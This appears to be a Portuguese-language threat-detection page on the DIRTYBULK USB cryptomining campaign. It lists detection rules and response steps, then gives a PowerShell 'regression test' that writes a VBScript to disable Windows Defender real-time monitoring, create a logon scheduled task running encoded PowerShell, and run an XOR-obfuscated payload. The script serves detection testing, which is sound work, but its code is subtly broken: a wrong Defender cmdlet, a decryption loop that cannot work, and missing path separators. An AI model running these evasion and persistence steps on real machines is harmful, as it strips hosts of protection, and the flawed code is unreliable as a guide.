DIRTYBULK e Amigos: Malware USB Alimentando Operações de Mineração de Criptomoedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O relatório detalha uma campanha de infecção dirigida por USB que utiliza arquivos de atalho maliciosos para entregar uma cadeia de malware em múltiplos estágios para mineração de criptomoedas. A execução inicial carrega um DLL chamado printui.dll de um diretório falso System32, depois transfere para um dropper (CUTFAIL), que implanta ainda um downloader (HIGHREPS) e uma backdoor (PUMPBENCH). A backdoor PUMPBENCH se comunica com um servidor PostgreSQL para buscar cargas adicionais e, por fim, lança mineradores XMRig. A operação mantém persistência através de exclusões do Windows Defender, tarefas agendadas e serviços fraudulentos.
Análise
Pesquisadores da Mandiant desconstruíram a cadeia de ataque e destacaram quatro principais famílias de malware: DIRTYBULK, CUTFAIL, HIGHREPS e PUMPBENCH. Eles capturaram os padrões de nomeação de arquivos dos atores, o abuso de carregamento de DLL do printui.dll, alterações no registro e indicadores de rede associados. A análise também traçou técnicas de persistência, incluindo tarefas agendadas e serviços vinculados ao Grupo de Serviços DCOMLaunch.
Mitigação
As defesas recomendadas incluem bloquear a execução de arquivos de atalho originários de mídias removíveis, monitorar comandos que adicionam exclusões ao Windows Defender, detectar atividades suspeitas de carregamento lateral do printui.dll e buscar serviços ou tarefas agendadas que usam nomes aleatórios de seis dígitos. Aplicar controles de rede contra domínios maliciosos conhecidos e resolvedores DoH pode limitar ainda mais os canais de comando e controle.
Resposta
Uma vez detectado, isole o host impactado, remova o DLL malicioso e componentes relacionados, exclua as entradas de serviço e tarefa agendada ofensivas, e restaure as configurações do Windows Defender limpando as exclusões. Realize uma varredura forense abrangente para descobrir cargas residuais e rastreie conexões para a infraestrutura identificada de C2 PostgreSQL. Finalmente, atualize o conteúdo de detecção para cobrir o uso observado de linha de comando e comportamentos de criação de arquivos.
Fluxo de Ataque
Detecções
Contagem Anormal de Espaços no Nome do Processo / Linha de Comando / Caminho de Arquivo (via cmdline)
Ver
LOLBAS WScript / CScript (via process_creation)
Ver
Modificação Suspeita de Exclusões do Defender (via cmdline)
Ver
Possível Copia e Renomea Executável do Sistema para Evasão (via cmdline)
Ver
Desativar Monitoramento em Tempo Real do Windows Defender e Outras Alterações de Preferências (via cmdline)
Ver
Execução de Simulação
Pré-requisito: Verificação de Pré-vôo de Telemetria & Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para disparar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnóstico incorreto.
-
Narrativa & Comandos do Ataque:
-
Etapa 1 – Soltar VBScript malicioso no drive USB comprometido (por exemplo,
E:payload.vbs). O script desativa a proteção em tempo real do Windows Defender usandoAdd‑MpPreference, criptografa uma carga com uma rotina XOR, e cria uma tarefa agendada para persistência. -
Etapa 2 – Execute o script via
wscript.exepassando a linha de comando de persistência diretamente (para satisfazer a condição conjuntiva da regra). -
Etapa 3 – O script internamente invoca o PowerShell para executar a carga criptografada, demonstrando a “cadeia de infecção”.
-
Etapa 4 – Após a execução, o atacante limpa os artefatos (remove o script, apaga a tarefa agendada).
-
-
Script de Teste de Regressão:
# ------------------------------------------------------------ # Teste de Regressão – Simulação da Cadeia de Infecção por Malware # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Criar carga falsa criptografada com XOR -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Escrever VBScript malicioso ------------------------------------------- @" ' VBScript malicioso – cadeia de infecção Set sh = CreateObject("WScript.Shell") ' Desativar a proteção em tempo real sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Criar tarefa agendada para persistência sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Decriptar e executar carga Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Executar o script via wscript.exe (aciona a regra) ------------- wscript.exe "$scriptPath" /B # -- 4. (Opcional) Aguarde alguns segundos para que a tarefa seja disparada ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Limpeza – remover script e tarefa agendada # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Comandos de Limpeza:
# Remover tarefa agendada residual (se ainda presente) schtasks /Delete /TN "WinUpdateTask" /F # Remover quaisquer arquivos de script remanescentes Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Reativar proteção em tempo real powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"